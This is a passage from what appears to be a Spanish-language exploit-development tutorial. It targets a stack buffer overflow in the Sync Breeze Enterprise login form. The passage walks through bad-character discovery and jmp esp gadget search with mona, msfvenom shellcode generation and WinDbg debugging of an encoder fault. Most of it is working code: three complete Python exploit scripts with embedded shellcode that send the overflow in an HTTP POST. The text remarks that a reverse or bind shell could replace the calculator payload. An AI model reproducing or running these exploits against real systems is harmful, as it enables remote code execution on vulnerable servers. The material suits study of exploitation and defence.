0x01c2744c |     |0b 00 00 00 00 00 00 00 00 00 00 00 80 f4 8a 00| Memory
0x01c2744c |  50 |51 52 53 54 55 56 57 58 59 5a 5b 5c 5d 5e 5f 60| File
0x01c2744c |     |01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00| Memory
0x01c2744c |  60 |61 62 63 64 65 66 67 68 69 6a 6b 6c 6d 6e 6f 70| File
0x01c2744c |     |c4 d0 c2 01 f8 aa c2 01 70 74 c2 01 00 00 00 00| Memory
0x01c2744c |  70 |71 72 73 74 75 76 77 78 79 7a 7b 7c 7d 7e 7f 80| File
0x01c2744c |     |00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00| Memory
0x01c2744c |  80 |81 82 83 84 85 86 87 88 89 8a 8b 8c 8d 8e 8f 90| File
0x01c2744c |     |00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00| Memory
0x01c2744c |  90 |91 92 93 94 95 96 97 98 99 9a 9b 9c 9d 9e 9f a0| File
0x01c2744c |     |00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00| Memory
0x01c2744c |  a0 |a1 a2 a3 a4 a5 a6 a7 a8 a9 aa ab ac ad ae af b0| File
0x01c2744c |     |00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00| Memory
0x01c2744c |  b0 |b1 b2 b3 b4 b5 b6 b7 b8 b9 ba bb bc bd be bf c0| File
0x01c2744c |     |00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00| Memory
0x01c2744c |  c0 |c1 c2 c3 c4 c5 c6 c7 c8 c9 ca cb cc cd ce cf d0| File
0x01c2744c |     |00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00| Memory
0x01c2744c |  d0 |d1 d2 d3 d4 d5 d6 d7 d8 d9 da db dc dd de df e0| File
0x01c2744c |     |00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00| Memory
0x01c2744c |  e0 |e1 e2 e3 e4 e5 e6 e7 e8 e9 ea eb ec ed ee ef f0| File
0x01c2744c |     |00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00| Memory
0x01c2744c |  f0 |f1 f2 f3 f4 f5 f6 f7 f8 f9 fa fb fc fd fe ff   | File
0x01c2744c |     |00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   | Memory
0x01c2744c |     `-----------------------------------------------'
0x01c2744c | 
0x01c2744c |               | File           | Memory         | Note       
0x01c2744c | -------------------------------------------------------------
0x01c2744c | 0  0  9   9   | 01 ... 09      | 01 ... 09      | unmodified!
0x01c2744c | -------------------------------------------------------------
0x01c2744c | 9  9  5   5   | 0a 0b 0c 0d 0e | 00 a8 00 78 71 | corrupted  
0x01c2744c | 14 14 1   1   | 0f             | 0f             | unmodified!
0x01c2744c | 15 15 240 240 | 10 ... ff      | 01 ... 00      | corrupted  
0x01c2744c | 
0x01c2744c | Possibly bad chars: 0a
0x01c2744c | Bytes omitted from input: 00
0x01c2744c |

Este proceso se tienen que repetir muchas veces hasta obtener todos los badchars

0:000> !py mona bytearray -cpb '\x00\x0a'  

Cuando esto pase mona nos indicara que los bytes comparados en el stack con el .bin no se han modificado, en este caso esto pasa despues de detectar 7 badchars

0:000> !py mona compare -f C:\mona\bytearray.bin -a esp
Hold on...
[+] Command used:
!py C:\Users\user\Documents\windbg\x86\mona.py compare -f C:\mona\bytearray.bin -a esp  
[+] Reading file C:\mona\bytearray.bin...
    Read 249 bytes from file
[+] Preparing output file 'compare.txt'
    - (Re)setting logfile C:\mona\compare.txt
[+] Generating module info table, hang on...
    - Processing modules
    - Done. Let's rock 'n roll.
    - Comparing 1 location(s)
Comparing bytes from file with memory :
0x01c2744c | [+] Comparing with memory at location : 0x01c2744c (Stack)
0x01c2744c | !!! Hooray, normal shellcode unmodified !!!
0x01c2744c | Bytes omitted from input: 00 0a 0d 25 26 2b 3d

¿Porque estos bytes dan problemas?, los badchars dependen de cada programa y el campo donde ocurre la vulnerabilidad, en este caso los badchars son debido a que el caracter en ascii puede dar problemas con la petición ya que es a través de una peticion POST que ocurre en la autenticación del servidor web como pueden serlo:

0x00 o \0: El null byte puede indicar que termina una cadena por lo que los bytes que esten después pueden no llegar a escribirse correctamente.

0x0a o \n: El salto de linea en este contexto a través de una petición puede indicar que el contenido de la petición POST ha terminado.

0x0d o \r: El retorno de carro en este contexto similar a lo anterior puede iundicar que el contenido de la data POST ha terminado.

0x25 o % : El simbolo de porcentaje puede tener como significado que los 2 bytes siguientes seran enviados como uno solo tomado como valor hexadecimal.

0x26 o & : El simbolo de ampersand puede indicar que se enviara otro parametro por lo que los siguientes bytes no se enviaran como valor del campo password.

0x2b o + : El simbolo de suma tambien puede representar un espacio en el contexto de peticiones web como lo es este caso de explotación.

0x3d o = : El simbolo de igual puede indicar que lo siguiente es el valor del parametro enviado por lo que tambien puede representar un problema.


Find Opcode


Sabemos que lo que enviemos despues de filler se guardará en el stack, por lo que si enviamos un shellcode que ejecute un comando solo necesitamos ejecutar lo que esta en el stack, cuando no hay protecciones como DEP o ASLR que veremos mas adelante solo necesitamos encontrar un gadget de alguna parte de los modulos que sea ejecutable y que ejecute lo que esta en el esp, estos pueden ser algo como:

jmp esp;: Es la más comun, simplemente salta al registro esp por lo que ejecuta todas las instrucciones que esten almacenadas en el stack.

call esp;: Hace algo similar al opcode pasado solo que en lugar de usar jmp para saltar usa call para llamarlo como si fuera una función.

push esp; ret;: Al hacer un push guarda en el stack la dirección del esp y al ejecutar el ret tomara esa dirección como retorno por lo que ejecutara lo que este ahi.


Para encontrar un gadget que ejecute algunas de estas instrucciones primero necesitamos saber que modulos carga el programa que pertenezcan a el y no al sistema para esto podemos usar mona, solo hay 4 modulos 3 de ellos son librerias, sin embargo de estos solo podemos usar 1 ya que el resto tiene como base una dirección que contiene 00 y antes habiamos visto que el null byte era un badchar

0:000> !py mona modules -cm os=false
Hold on...
[+] Command used:
!py C:\Users\user\Documents\windbg\x86\mona.py modules -cm os=false

---------- Mona command started on 2024-02-13 22:34:57 (v2.0, rev 635) ----------
[+] Processing arguments and criteria
    - Pointer access level : X
    - Module criteria : ['os=false']
[+] Generating module info table, hang on...
    - Processing modules
    - Done. Let's rock 'n roll.
----------------------------------------------------------------------------------------------------------------------------------------------
 Module info :
----------------------------------------------------------------------------------------------------------------------------------------------
 Base       | Top        | Size       | Rebase | SafeSEH | ASLR  | CFG   | NXCompat | OS Dll | Version, Modulename & Path, DLLCharacteristics
----------------------------------------------------------------------------------------------------------------------------------------------
 0x00890000 | 0x00944000 | 0x000b4000 | True   | False   | False | False |  False   | False  | -1.0- [libsync.dll] (C:\Program Files (x86)\Sync Breeze Enterprise\bin\libsync.dll) 0x0  
 0x007b0000 | 0x00884000 | 0x000d4000 | True   | False   | False | False |  False   | False  | -1.0- [libpal.dll] (C:\Program Files (x86)\Sync Breeze Enterprise\bin\libpal.dll) 0x0
 0x10000000 | 0x10223000 | 0x00223000 | False  | False   | False | False |  False   | False  | -1.0- [libspp.dll] (C:\Program Files (x86)\Sync Breeze Enterprise\bin\libspp.dll) 0x0
 0x00400000 | 0x00462000 | 0x00062000 | False  | False   | False | False |  False   | False  | -1.0- [syncbrs.exe] (C:\Program Files (x86)\Sync Breeze Enterprise\bin\syncbrs.exe) 0x0  
----------------------------------------------------------------------------------------------------------------------------------------------

[+] Preparing output file 'modules.txt'
    - (Re)setting logfile C:\mona\modules.txt

Ya que tenemos un modulo que no inicia con 00 y no tiene protecciones podemos usar mona para encontrar gadgets que nos ayuden a saltar al registro esp, encontramos varios gadgets y deberiamos poder usar cualquiera de ellos

0:000> !py mona jmp -r esp -m libspp.dll -cpb '\x00\x0a\x0d\x25\x26\x2b\x3d'
Hold on...
[+] Command used:
!py C:\Users\user\Documents\windbg\x86\mona.py jmp -r esp -m libspp.dll -cpb '\x00\x0a\x0d\x25\x26\x2b\x3d'

---------- Mona command started on 2024-02-13 22:36:24 (v2.0, rev 635) ----------
[+] Processing arguments and criteria
    - Pointer access level : X
    - Only querying modules libspp.dll
    - Bad char filter will be applied to pointers : '\x00\x0a\x0d\x25\x26\x2b\x3d' 
[+] Generating module info table, hang on...
    - Processing modules
    - Done. Let's rock 'n roll.
[+] Querying 1 modules
    - Querying module libspp.dll
    - Search complete, processing results
[+] Preparing output file 'jmp.txt'
    - (Re)setting logfile C:\mona\jmp.txt
[+] Writing results to C:\mona\jmp.txt
    - Number of pointers of type 'push esp # ret 0x08' : 2 
    - Number of pointers of type 'jmp esp' : 1 
    - Number of pointers of type 'push esp # ret ' : 3 
    - Number of pointers of type 'push esp # ret 0x04' : 2 
[+] Results : 
0x1005f916 |   0x1005f916 : push esp # ret 0x08 |  {PAGE_EXECUTE_READ} [libspp.dll] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v-1.0- (C:\Program Files (x86)\Sync Breeze Enterprise\bin\libspp.dll), 0x0
0x1005f91e |   0x1005f91e : push esp # ret 0x08 |  {PAGE_EXECUTE_READ} [libspp.dll] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v-1.0- (C:\Program Files (x86)\Sync Breeze Enterprise\bin\libspp.dll), 0x0
0x10090c83 |   0x10090c83 : jmp esp |  {PAGE_EXECUTE_READ} [libspp.dll] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v-1.0- (C:\Program Files (x86)\Sync Breeze Enterprise\bin\libspp.dll), 0x0
0x100bb515 |   0x100bb515 : push esp # ret  |  {PAGE_EXECUTE_READ} [libspp.dll] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v-1.0- (C:\Program Files (x86)\Sync Breeze Enterprise\bin\libspp.dll), 0x0
0x100e1cf2 |   0x100e1cf2 : push esp # ret  |  {PAGE_EXECUTE_READ} [libspp.dll] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v-1.0- (C:\Program Files (x86)\Sync Breeze Enterprise\bin\libspp.dll), 0x0
0x10138c27 |   0x10138c27 : push esp # ret  |  {PAGE_EXECUTE_READ} [libspp.dll] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v-1.0- (C:\Program Files (x86)\Sync Breeze Enterprise\bin\libspp.dll), 0x0
0x10072456 |   0x10072456 : push esp # ret 0x04 | ascii {PAGE_EXECUTE_READ} [libspp.dll] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v-1.0- (C:\Program Files (x86)\Sync Breeze Enterprise\bin\libspp.dll), 0x0  
0x1009f74e |   0x1009f74e : push esp # ret 0x04 |  {PAGE_EXECUTE_READ} [libspp.dll] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v-1.0- (C:\Program Files (x86)\Sync Breeze Enterprise\bin\libspp.dll), 0x0
    Found a total of 8 pointers


Encoder Problem


Una vez tenemos el gadget podemos generar un shellcode com msfvenom que nos ejecute un comando, en este caso por simplicidad ejecutaremos calc.exe pero podriamos enviarnos perfectamente una reverse shell o ejecutar una bind shell

❯ msfvenom -p windows/exec CMD=calc.exe -f python -v shellcode -b '\x00\x0a\x0d\x25\x26\x2b\x3d'  
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 12 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 220 (iteration=0)
x86/shikata_ga_nai chosen with final size 220
Payload size: 220 bytes
Final size of python file: 1237 bytes
shellcode =  b""
shellcode += b"\xda\xc0\xbb\xa8\xaf\x03\xb8\xd9\x74\x24\xf4"
shellcode += b"\x5a\x31\xc9\xb1\x31\x31\x5a\x18\x83\xea\xfc"
shellcode += b"\x03\x5a\xbc\x4d\xf6\x44\x54\x13\xf9\xb4\xa4"
shellcode += b"\x74\x73\x51\x95\xb4\xe7\x11\x85\x04\x63\x77"
shellcode += b"\x29\xee\x21\x6c\xba\x82\xed\x83\x0b\x28\xc8"
shellcode += b"\xaa\x8c\x01\x28\xac\x0e\x58\x7d\x0e\x2f\x93"
shellcode += b"\x70\x4f\x68\xce\x79\x1d\x21\x84\x2c\xb2\x46"
shellcode += b"\xd0\xec\x39\x14\xf4\x74\xdd\xec\xf7\x55\x70"
shellcode += b"\x67\xae\x75\x72\xa4\xda\x3f\x6c\xa9\xe7\xf6"
shellcode += b"\x07\x19\x93\x08\xce\x50\x5c\xa6\x2f\x5d\xaf"
shellcode += b"\xb6\x68\x59\x50\xcd\x80\x9a\xed\xd6\x56\xe1"
shellcode += b"\x29\x52\x4d\x41\xb9\xc4\xa9\x70\x6e\x92\x3a"
shellcode += b"\x7e\xdb\xd0\x65\x62\xda\x35\x1e\x9e\x57\xb8"
shellcode += b"\xf1\x17\x23\x9f\xd5\x7c\xf7\xbe\x4c\xd8\x56"
shellcode += b"\xbe\x8f\x83\x07\x1a\xdb\x29\x53\x17\x86\x27"
shellcode += b"\xa2\xa5\xbc\x05\xa4\xb5\xbe\x39\xcd\x84\x35"
shellcode += b"\xd6\x8a\x18\x9c\x93\x65\x53\xbd\xb5\xed\x3a"
shellcode += b"\x57\x84\x73\xbd\x8d\xca\x8d\x3e\x24\xb2\x69"
shellcode += b"\x5e\x4d\xb7\x36\xd8\xbd\xc5\x27\x8d\xc1\x7a"
shellcode += b"\x47\x84\xa1\x1d\xdb\x44\x08\xb8\x5b\xee\x54"

Nuestro exploit consiste en enviar A's hasta antes de sobrescribir el eip donde ejecutaremos un jmp esp y como en el stack se guarda nuestro shellcode generado con msfvenom este deberia ejecutarse y lanzar una calculadora, la función p32 de pwntools nos sirve para empaquetar la dirección en little endian

#!/usr/bin/python3
from pwn import remote, p32

offset = 520
junk = b"A" * offset

jmpesp = p32(0x10090c83)
filler = b"C" * 4

shellcode =  b""
shellcode += b"\xda\xc0\xbb\xa8\xaf\x03\xb8\xd9\x74\x24\xf4"  
shellcode += b"\x5a\x31\xc9\xb1\x31\x31\x5a\x18\x83\xea\xfc"  
shellcode += b"\x03\x5a\xbc\x4d\xf6\x44\x54\x13\xf9\xb4\xa4"  
shellcode += b"\x74\x73\x51\x95\xb4\xe7\x11\x85\x04\x63\x77"  
shellcode += b"\x29\xee\x21\x6c\xba\x82\xed\x83\x0b\x28\xc8"  
shellcode += b"\xaa\x8c\x01\x28\xac\x0e\x58\x7d\x0e\x2f\x93"  
shellcode += b"\x70\x4f\x68\xce\x79\x1d\x21\x84\x2c\xb2\x46"  
shellcode += b"\xd0\xec\x39\x14\xf4\x74\xdd\xec\xf7\x55\x70"  
shellcode += b"\x67\xae\x75\x72\xa4\xda\x3f\x6c\xa9\xe7\xf6"  
shellcode += b"\x07\x19\x93\x08\xce\x50\x5c\xa6\x2f\x5d\xaf"  
shellcode += b"\xb6\x68\x59\x50\xcd\x80\x9a\xed\xd6\x56\xe1"  
shellcode += b"\x29\x52\x4d\x41\xb9\xc4\xa9\x70\x6e\x92\x3a"  
shellcode += b"\x7e\xdb\xd0\x65\x62\xda\x35\x1e\x9e\x57\xb8"  
shellcode += b"\xf1\x17\x23\x9f\xd5\x7c\xf7\xbe\x4c\xd8\x56"  
shellcode += b"\xbe\x8f\x83\x07\x1a\xdb\x29\x53\x17\x86\x27"  
shellcode += b"\xa2\xa5\xbc\x05\xa4\xb5\xbe\x39\xcd\x84\x35"  
shellcode += b"\xd6\x8a\x18\x9c\x93\x65\x53\xbd\xb5\xed\x3a"  
shellcode += b"\x57\x84\x73\xbd\x8d\xca\x8d\x3e\x24\xb2\x69"  
shellcode += b"\x5e\x4d\xb7\x36\xd8\xbd\xc5\x27\x8d\xc1\x7a"  
shellcode += b"\x47\x84\xa1\x1d\xdb\x44\x08\xb8\x5b\xee\x54"  

payload = junk + jmpesp + filler + shellcode

data = b"username=username&password=" + payload

content  = b""
content += b"POST /login HTTP/1.1\r\n"
content += b"Content-Type: application/x-www-form-urlencoded\r\n"
content += b"Content-Length: " + str(len(data)).encode() + b"\r\n\r\n"  
content += data

shell = remote("Windows", 80)
shell.send(content)

Sin embargo esto no pasa y el debugger nos muestra que en algun lugar de la ejecución intento ejecutar una instrucción que provocó un Access violation

0:000> g
(1354.1d30): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000001 ebx=b803afa8 ecx=0056f30c edx=00000350 esi=0056899e edi=01086ac8
eip=01c27457 esp=01c2744c ebp=00562bd0 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
01c27457 0000            add     byte ptr [eax],al          ds:002b:00000001=??  

Para entender porque pasa esto establecemos un breakpoint en la dirección que ejecuta jmp esp y enviamos nuevamente el exploit, ahora podemos desensamblar las instrucciones usando u y analizar cual esta ocasionando el problema

0:000> bp 0x10090c83

0:000> g
Breakpoint 0 hit
eax=00000001 ebx=00000000 ecx=0076d654 edx=00000350 esi=00767d56 edi=010b6ac8  
eip=10090c83 esp=01c1744c ebp=00768ce8 iopl=0         nv up ei pl nz na pe nc  
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206  
libspp!SCA_FileScout::GetStatusValue+0xb3:
10090c83 ffe4            jmp     esp {01c1744c}

0:000> u esp
01c1744c dac0            fcmovb  st,st(0)
01c1744e bba8af03b8      mov     ebx,0B803AFA8h
01c17453 d97424f4        fnstenv [esp-0Ch]
01c17457 5a              pop     edx
01c17458 31c9            xor     ecx,ecx
01c1745a b131            mov     cl,31h
01c1745c 315a18          xor     dword ptr [edx+18h],ebx
01c1745f 83eafc          sub     edx,0FFFFFFFCh

La instrucción que esta ocasionando el error es fnstenv, leyendo documentación podemos ver que guarda 28 bytes del estado del FPU, ¿cual es el problema? que lo esta escribindo en esp - 0xc o esp - 12 por lo que escribe 12 bytes antes del stack y 16 bytes despues del stack que probablemente sobrescriben el shellcode

fnstenv [esp-0Ch]

Para verlo un poco mejor veamos el contenido del stack antes y despues de la instrucción, ahora mismo en el stack esta almacenado el shellcode

0:000> dds esp L6
01c1744c  a8bbc0da                 (esp + 0)
01c17450  d9b803af                 (esp + 4)
01c17454  5af42474                 (esp + 8)
01c17458  31b1c931                 (esp + 12)  
01c1745c  83185a31                 (esp + 16)  
01c17460  5a03fcea                 (esp + 20)  

Al ejecutar la instrucción fnstenv la siguiente instrucción equivale a el hex 0000

0:000> r
eax=00000001 ebx=b803afa8 ecx=0076d654 edx=00000350 esi=00767d56 edi=010b6ac8
eip=01c17453 esp=01c1744c ebp=00768ce8 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206
01c17453 d97424f4        fnstenv [esp-0Ch]                  ss:002b:01c17440=41  

0:000> p
eax=00000001 ebx=b803afa8 ecx=0076d654 edx=00000350 esi=00767d56 edi=010b6ac8
eip=01c17457 esp=01c1744c ebp=00768ce8 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206
01c17457 0000            add     byte ptr [eax],al          ds:002b:00000001=??  

Esto pasa debido a que la instrucción sobrescribió 4 dwords o 16 bytes del stack

0:000> dds esp L6
01c1744c  00000000                 (esp + 0)  [overwrited]  
01c17450  00000000                 (esp + 4)  [overwrited]  
01c17454  00000000                 (esp + 8)  [overwrited]  
01c17458  ffff0000                 (esp + 12) [overwrited]  
01c1745c  83185a31                 (esp + 16)
01c17460  5a03fcea                 (esp + 20)


Solution 1


La solución mas simple es usar nops, antes del shellcode enviamos 16 nops entonces al sobrescribir los 16 bytes sobrescribira los nops y no nuestro shellcode

shellcode =  b"\x90" * 16
shellcode += b"\xda\xc0\xbb\xa8\xaf\x03\xb8\xd9\x74\x24\xf4"
shellcode += b"\x5a\x31\xc9\xb1\x31\x31\x5a\x18\x83\xea\xfc"
............................................................  

Para verlo desde el debugger podemos establecer nuevamente el breakpoint y mirar el stack, podemos ver 4 dwords de nops y justo despues el inicio del shellcode

0:000> bp 0x10090c83

0:000> g
Breakpoint 0 hit
eax=00000001 ebx=00000000 ecx=0061ebac edx=00000350 esi=00619b7e edi=010d6ac8  
eip=10090c83 esp=01bf744c ebp=00613c38 iopl=0         nv up ei pl nz na pe nc  
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206  
libspp!SCA_FileScout::GetStatusValue+0xb3:
10090c83 ffe4            jmp     esp {01bf744c}

0:000> dds esp L8
01bf744c  90909090                 (nops)
01bf7450  90909090                 (nops)
01bf7454  90909090                 (nops)
01bf7458  90909090                 (nops)
01bf745c  a8bbc0da                 (shellcode start)  
01bf7460  d9b803af
01bf7464  5af42474
01bf7468  31b1c931

Después de ejecutar la instrucción fnstenv los 4 dwords de nops se sobrescriben sin embargo el inicio del shellcode se mantiene intacto por lo que la ejecución de este no se deberia ver afectada por lo que se deberia ejecutar la calculadora

0:000> r
eax=00000001 ebx=b803afa8 ecx=0061ebac edx=00000350 esi=00619b7e edi=010d6ac8
eip=01bf7463 esp=01bf744c ebp=00613c38 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206
01bf7463 d97424f4        fnstenv [esp-0Ch]                  ss:002b:01bf7440=41  

0:000> p
eax=00000001 ebx=b803afa8 ecx=0061ebac edx=00000350 esi=00619b7e edi=010d6ac8
eip=01bf7467 esp=01bf744c ebp=00613c38 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206
01bf7467 5a              pop     edx

0:000> dds esp L8
01bf744c  00000000                 (overwrited)
01bf7450  00000000                 (overwrited)
01bf7454  00000000                 (overwrited)
01bf7458  ffff0000                 (overwrited)
01bf745c  a8bbc0da                 (shellcode start)  
01bf7460  d9b803af
01bf7464  5af42474
01bf7468  31b1c931

El exploit final simplemente agrega 16 nops al inicio del shellcode y al enviar el exploit fuera del debugger ejecuta el shellcode que equivale a lanzar una calculadora

#!/usr/bin/python3
from pwn import remote, p32

offset = 520
junk = b"A" * offset

jmpesp = p32(0x10090c83)
filler = b"C" * 4

shellcode =  b"\x90" * 16
shellcode += b"\xda\xc0\xbb\xa8\xaf\x03\xb8\xd9\x74\x24\xf4"
shellcode += b"\x5a\x31\xc9\xb1\x31\x31\x5a\x18\x83\xea\xfc"
shellcode += b"\x03\x5a\xbc\x4d\xf6\x44\x54\x13\xf9\xb4\xa4"
shellcode += b"\x74\x73\x51\x95\xb4\xe7\x11\x85\x04\x63\x77"
shellcode += b"\x29\xee\x21\x6c\xba\x82\xed\x83\x0b\x28\xc8"
shellcode += b"\xaa\x8c\x01\x28\xac\x0e\x58\x7d\x0e\x2f\x93"
shellcode += b"\x70\x4f\x68\xce\x79\x1d\x21\x84\x2c\xb2\x46"
shellcode += b"\xd0\xec\x39\x14\xf4\x74\xdd\xec\xf7\x55\x70"
shellcode += b"\x67\xae\x75\x72\xa4\xda\x3f\x6c\xa9\xe7\xf6"
shellcode += b"\x07\x19\x93\x08\xce\x50\x5c\xa6\x2f\x5d\xaf"
shellcode += b"\xb6\x68\x59\x50\xcd\x80\x9a\xed\xd6\x56\xe1"
shellcode += b"\x29\x52\x4d\x41\xb9\xc4\xa9\x70\x6e\x92\x3a"
shellcode += b"\x7e\xdb\xd0\x65\x62\xda\x35\x1e\x9e\x57\xb8"
shellcode += b"\xf1\x17\x23\x9f\xd5\x7c\xf7\xbe\x4c\xd8\x56"
shellcode += b"\xbe\x8f\x83\x07\x1a\xdb\x29\x53\x17\x86\x27"
shellcode += b"\xa2\xa5\xbc\x05\xa4\xb5\xbe\x39\xcd\x84\x35"
shellcode += b"\xd6\x8a\x18\x9c\x93\x65\x53\xbd\xb5\xed\x3a"
shellcode += b"\x57\x84\x73\xbd\x8d\xca\x8d\x3e\x24\xb2\x69"
shellcode += b"\x5e\x4d\xb7\x36\xd8\xbd\xc5\x27\x8d\xc1\x7a"
shellcode += b"\x47\x84\xa1\x1d\xdb\x44\x08\xb8\x5b\xee\x54"

payload = junk + jmpesp + filler + shellcode

data = b"username=username&password=" + payload

content  = b""
content += b"POST /login HTTP/1.1\r\n"
content += b"Content-Type: application/x-www-form-urlencoded\r\n"
content += b"Content-Length: " + str(len(data)).encode() + b"\r\n\r\n"  
content += data

shell = remote("Windows", 80)
shell.send(content)


Solution 2


La segunda solución es mas simple y es que el problema anterior es especificamente de una instrucción al usar el encoder shikata_ga_nai por lo que usando otro como jmp_call_additive sin esa instrucción no deberia ocasionar ese problema

❯ msfvenom -p windows/exec CMD=calc.exe -f python -v shellcode -b '\x00\x0a\x0d\x25\x26\x2b\x3d' -e x86/jmp_call_additive  
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/jmp_call_additive
x86/jmp_call_additive succeeded with size 225 (iteration=0)
x86/jmp_call_additive chosen with final size 225
Payload size: 225 bytes
Final size of python file: 1274 bytes
shellcode =  b""
shellcode += b"\xfc\xbb\xb4\xfc\x45\xbe\xeb\x0c\x5e\x56\x31"
shellcode += b"\x1e\xad\x01\xc3\x85\xc0\x75\xf7\xc3\xe8\xef"
shellcode += b"\xff\xff\xff\x48\x14\xc7\xbe\xb0\xe5\xa8\x37"
shellcode += b"\x55\xd4\xe8\x2c\x1e\x47\xd9\x27\x72\x64\x92"
shellcode += b"\x6a\x66\xff\xd6\xa2\x89\x48\x5c\x95\xa4\x49"
shellcode += b"\xcd\xe5\xa7\xc9\x0c\x3a\x07\xf3\xde\x4f\x46"
shellcode += b"\x34\x02\xbd\x1a\xed\x48\x10\x8a\x9a\x05\xa9"
shellcode += b"\x21\xd0\x88\xa9\xd6\xa1\xab\x98\x49\xb9\xf5"
shellcode += b"\x3a\x68\x6e\x8e\x72\x72\x73\xab\xcd\x09\x47"
shellcode += b"\x47\xcc\xdb\x99\xa8\x63\x22\x16\x5b\x7d\x63"
shellcode += b"\x91\x84\x08\x9d\xe1\x39\x0b\x5a\x9b\xe5\x9e"
shellcode += b"\x78\x3b\x6d\x38\xa4\xbd\xa2\xdf\x2f\xb1\x0f"
shellcode += b"\xab\x77\xd6\x8e\x78\x0c\xe2\x1b\x7f\xc2\x62"
shellcode += b"\x5f\xa4\xc6\x2f\x3b\xc5\x5f\x8a\xea\xfa\xbf"
shellcode += b"\x75\x52\x5f\xb4\x98\x87\xd2\x97\xf6\x56\x60"
shellcode += b"\xa2\xb5\x59\x7a\xac\xe9\x31\x4b\x27\x66\x45"
shellcode += b"\x54\xe2\xc2\xb9\x1e\xae\x63\x52\xc7\x3b\x36"
shellcode += b"\x3f\xf8\x96\x75\x46\x7b\x12\x06\xbd\x63\x57"
shellcode += b"\x03\xf9\x23\x84\x79\x92\xc1\xaa\x2e\x93\xc3"
shellcode += b"\xc9\xb1\x07\x8f\x23\x57\xa0\x2a\x3b\x97\x50"
shellcode += b"\xb5\x3b\x97\x50\xb5"

Esta vez el exploit final no necesita los nops y ejecuta la calculadora correctamente

#!/usr/bin/python3
from pwn import remote, p32

offset = 520
junk = b"A" * offset

jmpesp = p32(0x10090c83)
filler = b"C" * 4

shellcode =  b""
shellcode += b"\xfc\xbb\xb4\xfc\x45\xbe\xeb\x0c\x5e\x56\x31"  
shellcode += b"\x1e\xad\x01\xc3\x85\xc0\x75\xf7\xc3\xe8\xef"  
shellcode += b"\xff\xff\xff\x48\x14\xc7\xbe\xb0\xe5\xa8\x37"  
shellcode += b"\x55\xd4\xe8\x2c\x1e\x47\xd9\x27\x72\x64\x92"  
shellcode += b"\x6a\x66\xff\xd6\xa2\x89\x48\x5c\x95\xa4\x49"  
shellcode += b"\xcd\xe5\xa7\xc9\x0c\x3a\x07\xf3\xde\x4f\x46"  
shellcode += b"\x34\x02\xbd\x1a\xed\x48\x10\x8a\x9a\x05\xa9"  
shellcode += b"\x21\xd0\x88\xa9\xd6\xa1\xab\x98\x49\xb9\xf5"  
shellcode += b"\x3a\x68\x6e\x8e\x72\x72\x73\xab\xcd\x09\x47"  
shellcode += b"\x47\xcc\xdb\x99\xa8\x63\x22\x16\x5b\x7d\x63"  
shellcode += b"\x91\x84\x08\x9d\xe1\x39\x0b\x5a\x9b\xe5\x9e"  
shellcode += b"\x78\x3b\x6d\x38\xa4\xbd\xa2\xdf\x2f\xb1\x0f"  
shellcode += b"\xab\x77\xd6\x8e\x78\x0c\xe2\x1b\x7f\xc2\x62"  
shellcode += b"\x5f\xa4\xc6\x2f\x3b\xc5\x5f\x8a\xea\xfa\xbf"  
shellcode += b"\x75\x52\x5f\xb4\x98\x87\xd2\x97\xf6\x56\x60"  
shellcode += b"\xa2\xb5\x59\x7a\xac\xe9\x31\x4b\x27\x66\x45"  
shellcode += b"\x54\xe2\xc2\xb9\x1e\xae\x63\x52\xc7\x3b\x36"  
shellcode += b"\x3f\xf8\x96\x75\x46\x7b\x12\x06\xbd\x63\x57"  
shellcode += b"\x03\xf9\x23\x84\x79\x92\xc1\xaa\x2e\x93\xc3"  
shellcode += b"\xc9\xb1\x07\x8f\x23\x57\xa0\x2a\x3b\x97\x50"  
shellcode += b"\xb5\x3b\x97\x50\xb5"

payload = junk + jmpesp + filler + shellcode

data = b"username=username&password=" + payload

content  = b""
content += b"POST /login HTTP/1.1\r\n"
content += b"Content-Type: application/x-www-form-urlencoded\r\n"
content += b"Content-Length: " + str(len(data)).encode() + b"\r\n\r\n"  
content += data

shell = remote("Windows", 80)
shell.send(content)